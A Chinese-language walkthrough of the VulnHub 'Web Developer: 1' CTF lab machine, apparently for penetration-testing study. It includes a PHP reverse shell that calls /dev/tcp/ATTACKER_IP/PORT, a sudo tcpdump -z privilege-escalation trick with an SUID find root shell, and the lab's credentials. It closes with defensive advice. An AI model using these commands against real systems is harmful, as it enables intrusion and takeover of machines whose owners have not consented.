VulnHub-Web Developer: 1-靶机渗透学习
字数 1263 2025-08-15 21:33:26
VulnHub-Web Developer: 1 靶机渗透教学文档
靶机概述
- 难度等级: 初级(CTF)
- 发布日期: 2018年11月5日
- 描述: Zico尝试建立自己的网站,在尝试了一些流行的CMS后决定自己开发,这可能带来了安全隐患
- 目标: 获取root权限并找到flag.txt
- 关键提示: 枚举、枚举和枚举!
信息收集阶段
1. 网络扫描
使用nmap进行初始扫描:
nmap -sV -p- 192.168.x.x
发现开放端口:
- 22 (SSH)
- 80 (HTTP)
2. Web目录枚举
使用dirb或类似工具爆破web目录:
dirb http://192.168.x.x/
发现关键目录:
/ipdata/- 包含一个网络流量包文件
漏洞利用阶段
1. 分析流量包
- 使用Wireshark或tcpdump分析
/ipdata/目录下的流量包 - 在数据包中发现WordPress凭据:
- 用户名:
webdeveloper - 密码:
Te5eQg&4sBS!Yr$)wf%(DcAd
- 用户名:
2. WordPress登录
- 使用发现的凭据登录WordPress后台
- 寻找可编辑的插件文件(如hello.php)注入恶意代码
3. 上传反弹shell
在插件文件中插入PHP反弹shell代码(例如使用pentestmonkey的PHP反弹shell):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");
?>
激活插件获取反向shell连接
权限提升阶段
1. 初始shell利用
- 检查当前用户权限
- 发现无法直接使用tty和sudo
2. 数据库凭证获取
检查WordPress配置文件:
cat /var/www/html/wp-config.php
获取数据库凭证(可能包含其他用户凭据)
3. 用户切换
- 在
/home目录发现webdeveloper用户 - 尝试使用数据库中找到的密码或其他常见密码组合
- 成功登录:
- 用户名:
webdeveloper - 密码:
MasterOfTheUniverse
- 用户名:
4. Sudo权限利用
检查sudo权限:
sudo -l
发现tcpdump命令可用sudo执行
5. 通过tcpdump提权
创建提权脚本:
echo "chmod u+s /usr/bin/find" > shell.sh
chmod +x shell.sh
利用tcpdump执行脚本:
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
6. 最终提权
使用设置了SUID位的find命令获取root shell:
find . -exec /bin/sh -p \; -quit
关键知识点总结
-
信息收集:
- 端口扫描是渗透测试的第一步
- 目录爆破可能发现隐藏资源
- 流量分析可能泄露敏感信息
-
WordPress安全:
- 默认或弱密码是常见漏洞
- 插件编辑功能可能导致代码执行
- wp-config.php包含敏感数据库凭证
-
Linux提权技术:
- 检查sudo权限(sudo -l)
- 利用具有sudo权限的命令(tcpdump)
- SUID位滥用(find命令)
- 通过可写脚本实现权限提升
-
渗透测试方法论:
- 枚举是关键(服务、用户、权限)
- 凭证重用风险(数据库→系统用户)
- 横向移动与垂直提权结合
防御建议
-
WordPress安全:
- 使用强密码并定期更换
- 限制插件编辑权限
- 定期更新系统和插件
-
系统安全:
- 限制sudo权限范围
- 监控SUID/SGID文件变化
- 禁用不必要的服务
-
开发安全:
- 避免在代码中硬编码凭证
- 实施最小权限原则
- 定期进行安全审计